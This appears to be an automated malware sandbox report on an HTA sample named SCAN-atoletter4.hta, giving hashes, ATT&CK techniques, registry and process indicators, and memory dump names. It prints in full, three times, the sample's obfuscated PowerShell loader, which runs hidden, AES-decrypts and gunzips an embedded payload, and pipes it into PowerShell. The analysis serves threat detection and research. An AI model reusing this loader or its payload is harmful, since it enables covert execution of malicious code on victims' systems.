3f04d3267f818beec7a5f29a7780282bdf862a71669230b796b77700a494b55d

Resubmissions

21/01/2025, 11:24

250121-nh1zvs1qak10

10/01/2024, 21:28

240110-1ba63sgfdp10

Analysis

max time kernel
131s
max time network
121s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
10/01/2024, 21:28

Sharing

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Report Analysis Logs

General

Target
163.5.169.28/SCAN-atoletter4.hta
Size 1.1MB
Sample240110-1ba63sgfdp
SHA256 992820187d1f871cb816dfb5839c0a71dfde38626d6947b4d912d04cf585454d
MD5 4bde59d84e71c0ff88901e353dbe3eec
SHA1 3000483b2add41716148b8e11fa283f6db6a9cf1
SHA512 38a11e2bbba9b26f5651d09f072109cb1b77717c53322a47147e1560016d409c528639be48f2044f038a6b24bad5cf0df200a83ca80c5a27d49fe5b91ecbb0b4
SSDEEP 1536:sSdyqS4pxRNGWLPcX/WhEdbVhtmr/l1vcmafSIm+lIWFXvD+v/j53mD0QMYPhgg9:ldHzpxdPcPWhqxki
MD5 SHA1 SHA512 SSDEEP

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2224	powershell.exe
2224	powershell.exe
2224	powershell.exe
2580	powershell.exe
2644	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2224	powershell.exe
Token: SeDebugPrivilege	2580	powershell.exe
Token: SeDebugPrivilege	2644	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2364 wrote to memory of 2224	2364	mshta.exe	17
PID 2364 wrote to memory of 2224	2364	mshta.exe	17
PID 2364 wrote to memory of 2224	2364	mshta.exe	17
PID 2364 wrote to memory of 2224	2364	mshta.exe	17
PID 2224 wrote to memory of 2776	2224	powershell.exe	31
PID 2224 wrote to memory of 2776	2224	powershell.exe	31
PID 2224 wrote to memory of 2776	2224	powershell.exe	31
PID 2224 wrote to memory of 2776	2224	powershell.exe	31
PID 2776 wrote to memory of 2580	2776	cmd.exe	29
PID 2776 wrote to memory of 2580	2776	cmd.exe	29
PID 2776 wrote to memory of 2580	2776	cmd.exe	29
PID 2776 wrote to memory of 2580	2776	cmd.exe	29
PID 2776 wrote to memory of 2644	2776	cmd.exe	28
PID 2776 wrote to memory of 2644	2776	cmd.exe	28
PID 2776 wrote to memory of 2644	2776	cmd.exe	28
PID 2776 wrote to memory of 2644	2776	cmd.exe	28

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\SCAN-atoletter4.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2364
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $SWFMmek = 'AAAAAAAAAAAAAAAAAAAAACrZRvtkqB+SHe0p7lRkPZCNffnqqNClKC3So/ocYip4sIyLwLexWoYN7uQd/Ni71WfNRscuLftSXeNk7UaJGUgjzJYfkZsxtrK18RTQmLCW1pIarAJy+MJgSjZUVMYQWdzwp+win+j10i0G4ZEMS3Xwvcmtwp4oreEie4++NHNNK2xEseGT95QYttS79tMZNR2aXcwdmz1PdnPCFNNhhpyh/taE0Q+6n78bMLTSIE13KTsORNrtCzIgtr3Y0F1MB9lb8eEcPuCw7QaX9ogPRTbwqpZkgv7Y5HUJp0VxDjKql+k0p/kyTsOYemh+qvVkfCSk6ARTZtYYlK+XrkeiPImuz2YM4VwLp2nVNOX6JctQj0eiDB4VQm9iv0T+VU4hA8HLk0q8btV2B0AH8v/kyr25MRM3hDYzSanUXD7xVrSQeftYOypgt7WjJ8vNUUaoRo/O2fOth9pSsJc2PUN5u/1nv/4Qj+WJixqxHp0l9Em2HDhYTsuYx1zddhj9Fjo1g/q5KegORNjsCZpTNiQ8bZ5+3m5h7Ae23py3/VmFOHs+7jARtXTvc5QaAw8PHsDPwSLOKvttyOVKC9nRw5gMdke8E209RPYi+barMiX+Y0P6pDZX47hNfd4uxyY8pnxh1Ysda+Pkk3HMSro15we0nkfamNuIcZ8nJ3XBLA5P/MCMBjuT0W22qHkYVUta9v5eWbqcqW01JrayDLz8V4s/+gKnsbVKwzyoKLtl2cG3vRKpMIzrkc4lxk3l8hOrWqFA4t1Vwx+QeDMmheCrhjT7XLVkej9g76eA9HU2lkuHzolmO0lqP4jtT3xUaKVm5vxJBNDNWGmucLBb42Qvtj/9p4lzILR2oNWO5KzDentXeSmfn7IB+FlXrUi9slXX3mXyPhgx2Fp0HvzP5urbnjmftQaHY1jea7V8sMzWju3VTNpAUYnsOS+P15fXwV7T+C5zvH2sdtqlGPmRZC/xpTwT0CRGhfvZR2OnzvHMZ3Xj1Wi+9A72v/hxGHJ2b1bUvX50vw==';$ketcPRkA = 'U0phVmZDTVVXbkJUdW5GeHZJUFFNamlmTFpJYmtVVkQ=';$MStdDqI = New-Object 'System.Security.Cryptography.AesManaged';$MStdDqI.Mode = [System.Security.Cryptography.CipherMode]::ECB;$MStdDqI.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$MStdDqI.BlockSize = 128;$MStdDqI.KeySize = 256;$MStdDqI.Key = [System.Convert]::FromBase64String($ketcPRkA);$ebtMY = [System.Convert]::FromBase64String($SWFMmek);$tioyoVVE = $ebtMY[0..15];$MStdDqI.IV = $tioyoVVE;$UxxTAdKnB = $MStdDqI.CreateDecryptor();$SnQEJbKME = $UxxTAdKnB.TransformFinalBlock($ebtMY, 16, $ebtMY.Length - 16);$MStdDqI.Dispose();$XYnpOOa = New-Object System.IO.MemoryStream( , $SnQEJbKME );$ZfRyjXCe = New-Object System.IO.MemoryStream;$MHLhPIhJc = New-Object System.IO.Compression.GzipStream $XYnpOOa, ([IO.Compression.CompressionMode]::Decompress);$MHLhPIhJc.CopyTo( $ZfRyjXCe );$MHLhPIhJc.Close();$XYnpOOa.Close();[byte[]] $sLQaEk = $ZfRyjXCe.ToArray();$GdmkIOs = [System.Text.Encoding]::UTF8.GetString($sLQaEk);$GdmkIOs | powershell - }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2224
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powershell.exe $SWFMmek = 'AAAAAAAAAAAAAAAAAAAAACrZRvtkqB+SHe0p7lRkPZCNffnqqNClKC3So/ocYip4sIyLwLexWoYN7uQd/Ni71WfNRscuLftSXeNk7UaJGUgjzJYfkZsxtrK18RTQmLCW1pIarAJy+MJgSjZUVMYQWdzwp+win+j10i0G4ZEMS3Xwvcmtwp4oreEie4++NHNNK2xEseGT95QYttS79tMZNR2aXcwdmz1PdnPCFNNhhpyh/taE0Q+6n78bMLTSIE13KTsORNrtCzIgtr3Y0F1MB9lb8eEcPuCw7QaX9ogPRTbwqpZkgv7Y5HUJp0VxDjKql+k0p/kyTsOYemh+qvVkfCSk6ARTZtYYlK+XrkeiPImuz2YM4VwLp2nVNOX6JctQj0eiDB4VQm9iv0T+VU4hA8HLk0q8btV2B0AH8v/kyr25MRM3hDYzSanUXD7xVrSQeftYOypgt7WjJ8vNUUaoRo/O2fOth9pSsJc2PUN5u/1nv/4Qj+WJixqxHp0l9Em2HDhYTsuYx1zddhj9Fjo1g/q5KegORNjsCZpTNiQ8bZ5+3m5h7Ae23py3/VmFOHs+7jARtXTvc5QaAw8PHsDPwSLOKvttyOVKC9nRw5gMdke8E209RPYi+barMiX+Y0P6pDZX47hNfd4uxyY8pnxh1Ysda+Pkk3HMSro15we0nkfamNuIcZ8nJ3XBLA5P/MCMBjuT0W22qHkYVUta9v5eWbqcqW01JrayDLz8V4s/+gKnsbVKwzyoKLtl2cG3vRKpMIzrkc4lxk3l8hOrWqFA4t1Vwx+QeDMmheCrhjT7XLVkej9g76eA9HU2lkuHzolmO0lqP4jtT3xUaKVm5vxJBNDNWGmucLBb42Qvtj/9p4lzILR2oNWO5KzDentXeSmfn7IB+FlXrUi9slXX3mXyPhgx2Fp0HvzP5urbnjmftQaHY1jea7V8sMzWju3VTNpAUYnsOS+P15fXwV7T+C5zvH2sdtqlGPmRZC/xpTwT0CRGhfvZR2OnzvHMZ3Xj1Wi+9A72v/hxGHJ2b1bUvX50vw==';$ketcPRkA = 'U0phVmZDTVVXbkJUdW5GeHZJUFFNamlmTFpJYmtVVkQ=';$MStdDqI = New-Object 'System.Security.Cryptography.AesManaged';$MStdDqI.Mode = [System.Security.Cryptography.CipherMode]::ECB;$MStdDqI.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$MStdDqI.BlockSize = 128;$MStdDqI.KeySize = 256;$MStdDqI.Key = [System.Convert]::FromBase64String($ketcPRkA);$ebtMY = [System.Convert]::FromBase64String($SWFMmek);$tioyoVVE = $ebtMY[0..15];$MStdDqI.IV = $tioyoVVE;$UxxTAdKnB = $MStdDqI.CreateDecryptor();$SnQEJbKME = $UxxTAdKnB.TransformFinalBlock($ebtMY, 16, $ebtMY.Length - 16);$MStdDqI.Dispose();$XYnpOOa = New-Object System.IO.MemoryStream( , $SnQEJbKME );$ZfRyjXCe = New-Object System.IO.MemoryStream;$MHLhPIhJc = New-Object System.IO.Compression.GzipStream $XYnpOOa, ([IO.Compression.CompressionMode]::Decompress);$MHLhPIhJc.CopyTo( $ZfRyjXCe );$MHLhPIhJc.Close();$XYnpOOa.Close();[byte[]] $sLQaEk = $ZfRyjXCe.ToArray();$GdmkIOs = [System.Text.Encoding]::UTF8.GetString($sLQaEk);$GdmkIOs | powershell -
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2776

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2644

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe $SWFMmek = 'AAAAAAAAAAAAAAAAAAAAACrZRvtkqB+SHe0p7lRkPZCNffnqqNClKC3So/ocYip4sIyLwLexWoYN7uQd/Ni71WfNRscuLftSXeNk7UaJGUgjzJYfkZsxtrK18RTQmLCW1pIarAJy+MJgSjZUVMYQWdzwp+win+j10i0G4ZEMS3Xwvcmtwp4oreEie4++NHNNK2xEseGT95QYttS79tMZNR2aXcwdmz1PdnPCFNNhhpyh/taE0Q+6n78bMLTSIE13KTsORNrtCzIgtr3Y0F1MB9lb8eEcPuCw7QaX9ogPRTbwqpZkgv7Y5HUJp0VxDjKql+k0p/kyTsOYemh+qvVkfCSk6ARTZtYYlK+XrkeiPImuz2YM4VwLp2nVNOX6JctQj0eiDB4VQm9iv0T+VU4hA8HLk0q8btV2B0AH8v/kyr25MRM3hDYzSanUXD7xVrSQeftYOypgt7WjJ8vNUUaoRo/O2fOth9pSsJc2PUN5u/1nv/4Qj+WJixqxHp0l9Em2HDhYTsuYx1zddhj9Fjo1g/q5KegORNjsCZpTNiQ8bZ5+3m5h7Ae23py3/VmFOHs+7jARtXTvc5QaAw8PHsDPwSLOKvttyOVKC9nRw5gMdke8E209RPYi+barMiX+Y0P6pDZX47hNfd4uxyY8pnxh1Ysda+Pkk3HMSro15we0nkfamNuIcZ8nJ3XBLA5P/MCMBjuT0W22qHkYVUta9v5eWbqcqW01JrayDLz8V4s/+gKnsbVKwzyoKLtl2cG3vRKpMIzrkc4lxk3l8hOrWqFA4t1Vwx+QeDMmheCrhjT7XLVkej9g76eA9HU2lkuHzolmO0lqP4jtT3xUaKVm5vxJBNDNWGmucLBb42Qvtj/9p4lzILR2oNWO5KzDentXeSmfn7IB+FlXrUi9slXX3mXyPhgx2Fp0HvzP5urbnjmftQaHY1jea7V8sMzWju3VTNpAUYnsOS+P15fXwV7T+C5zvH2sdtqlGPmRZC/xpTwT0CRGhfvZR2OnzvHMZ3Xj1Wi+9A72v/hxGHJ2b1bUvX50vw==';$ketcPRkA = 'U0phVmZDTVVXbkJUdW5GeHZJUFFNamlmTFpJYmtVVkQ=';$MStdDqI = New-Object 'System.Security.Cryptography.AesManaged';$MStdDqI.Mode = [System.Security.Cryptography.CipherMode]::ECB;$MStdDqI.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$MStdDqI.BlockSize = 128;$MStdDqI.KeySize = 256;$MStdDqI.Key = [System.Convert]::FromBase64String($ketcPRkA);$ebtMY = [System.Convert]::FromBase64String($SWFMmek);$tioyoVVE = $ebtMY[0..15];$MStdDqI.IV = $tioyoVVE;$UxxTAdKnB = $MStdDqI.CreateDecryptor();$SnQEJbKME = $UxxTAdKnB.TransformFinalBlock($ebtMY, 16, $ebtMY.Length - 16);$MStdDqI.Dispose();$XYnpOOa = New-Object System.IO.MemoryStream( , $SnQEJbKME );$ZfRyjXCe = New-Object System.IO.MemoryStream;$MHLhPIhJc = New-Object System.IO.Compression.GzipStream $XYnpOOa, ([IO.Compression.CompressionMode]::Decompress);$MHLhPIhJc.CopyTo( $ZfRyjXCe );$MHLhPIhJc.Close();$XYnpOOa.Close();[byte[]] $sLQaEk = $ZfRyjXCe.ToArray();$GdmkIOs = [System.Text.Encoding]::UTF8.GetString($sLQaEk);$GdmkIOs
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2580

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

d93f411851d7c929.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Size 7KB
SHA256 9401e3af3fe5ed76566ca95e2a427b11659f41c34574c878bb6a1128d5e7d82c
MD5 9b93b4d262d31889dbd30923bc33e644
SHA1 43f13b38d1a8cb1ace69d00061d86fbd4ed49584
SHA512 dfa7884f31e76535ccf57d52b26f270f74f9b9e1e63ba7911fd7a0fb7ec0a1aba78a338048b0f8537bb68e9e8bce4b9051999c7ee35cd65ca65161303831c3db
SSDEEP 96:85aCNM8jdnqvsqvJCwoGf/5aCNM8jdnqvsEHyqvJCwor8fvvR6ldQHgA7SZdXlUr:kvndUoGfxvndAHnor8fv0dNA7SZdC
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2224-2-0x0000000072C80000-0x000000007322B000-memory.dmp

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memory/2224-4-0x0000000002880000-0x00000000028C0000-memory.dmp

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memory/2224-5-0x0000000002880000-0x00000000028C0000-memory.dmp

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memory/2224-3-0x0000000072C80000-0x000000007322B000-memory.dmp

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memory/2224-6-0x0000000072C80000-0x000000007322B000-memory.dmp

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memory/2580-22-0x00000000027F0000-0x0000000002830000-memory.dmp

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memory/2580-17-0x00000000726D0000-0x0000000072C7B000-memory.dmp

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memory/2580-25-0x00000000726D0000-0x0000000072C7B000-memory.dmp

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memory/2580-24-0x00000000726D0000-0x0000000072C7B000-memory.dmp

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memory/2644-19-0x00000000726D0000-0x0000000072C7B000-memory.dmp

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memory/2644-27-0x0000000002E20000-0x0000000002E60000-memory.dmp

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memory/2644-29-0x00000000726D0000-0x0000000072C7B000-memory.dmp

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memory/2644-30-0x0000000002E20000-0x0000000002E60000-memory.dmp

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memory/2644-31-0x0000000002E20000-0x0000000002E60000-memory.dmp

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memory/2644-32-0x00000000726D0000-0x0000000072C7B000-memory.dmp

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